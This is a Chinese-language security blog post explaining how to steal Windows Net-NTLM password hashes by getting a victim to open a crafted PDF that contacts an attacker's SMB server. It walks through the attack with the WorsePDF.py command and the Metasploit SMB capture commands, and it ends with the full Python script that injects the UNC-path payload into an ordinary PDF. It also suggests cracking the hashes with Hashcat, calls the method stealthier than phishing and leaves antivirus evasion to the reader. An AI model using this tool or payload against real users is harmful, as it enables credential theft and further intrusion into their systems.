利用PDF文件获取Net-NTLM hash

君子藏器于身待时而动,安全不露圭角覆盂之安。

——AnonySec

https://payloads.cn

前言

当用户使用PDF阅读器打开一份恶意的PDF文档,该PDF会向远程SMB服务器发出请求,如果该远程SMB服务器对数据包进行抓取,就能够获得用户Windows系统的Net NTLM Hash,通过使用Hashcat暴力破解还原就有可能获得用户系统的明文密码。

利用原理

在 PDF 规范允许为 GoTobe 和 GoToR 条目来加载远程数据,正是利用这一特性能够帮我们请求远程恶意 smb 服务器,以此达到截获目标系统用户密码 hash 的目的。

利用思路

  • 构造一份特殊的PDF文档,请求SMB服务器的一份文件
  • 在SMB服务器上抓包
  • 用户使用PDF阅读器打开PDF文档时,Windows系统将当前用户的Net NTLM Hash发送到SMB服务器
  • SMB服务器提取出Net NTLM Hash,使用Hashcat进行破解
  • 还原出用户的明文密码
  • 根据用户的明文密码尝试进一步利用

利用过程

首先,利用 poc 脚本构造恶意的 pdf 文件。

1
python WorsePDF.py /Users/anonysec/Desktop/demo.pdf 192.168.199.246 #此IP为msf的IP
image-20200203165424223

之后,msf 打开 smb 监听,要用它来接收发过来的 ntlm 认证数据 (ntlm hash)。

1
2
3
4
sudo msfconsole -q
msf5 > use auxiliary/server/capture/smb
msf5 auxiliary(server/capture/smb) > set johnpwfile pdf
msf5 auxiliary(server/capture/smb) > run

当恶意的PDF文件在目标系统被 Adobe Reader 打开后,即可看到 msf 的 smb 监听器成功获取到来自目标系统的Net NTLM Hash。

image-20200203171426481

用 Wireshark 查看网络传输中的数据包,包含 Net NTLM Hash 。

image-20200203172222886

最后,可利用Hashcat还原用户的明文密码,达到进一步深度利用的目的。

注意事项

  • 目标用户必须使用PDF阅读器打开,如果使用IE或是Chrome打开PDF文件,并不会执行
  • 相对于传统的钓鱼页面,此类手法更加的隐蔽
  • 需自行克服免杀问题

附代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# WorsePDF
# Turn a normal PDF file into malicious.Use to steal Net-NTLM Hashes from windows machines.

import sys

def AddPayload(Data,ip):
Payload = '/AA <</O <</F (\\\\\\\\' + ip + '\\\\test)/D [ 0 /Fit]/S /GoToE>>>>'
index1 = Data.find('/Parent') + 13
# print "%x" % index1
Newdata = Data[0:index1] + Payload + Data[index1:]
return Newdata

if __name__ == "__main__":
print "WorsePDF - Turn a normal PDF file into malicious.Use to steal Net-NTLM Hashes from windows machines.\n"

if len(sys.argv)!=3:
print ('Usage:')
print (' WorsePDF.py <normal PDF file Path> <ServerIP>')
sys.exit(0)

print "[*]NormalPDF: %s" % sys.argv[1]
print "[*]ServerIP: %s" % sys.argv[2]

file_object = open(sys.argv[1],'rb')
try:
all_the_text = file_object.read( )
finally:
file_object.close()

Newdata = AddPayload(all_the_text,sys.argv[2])
MaliciousPath = sys.argv[1] + '.malicious.pdf'

print "[+]MaliciousPDF: %s" % MaliciousPath
file_object2 = open(MaliciousPath, 'wb')
file_object2.write(Newdata)
file_object2.close()
print "[*]All Done"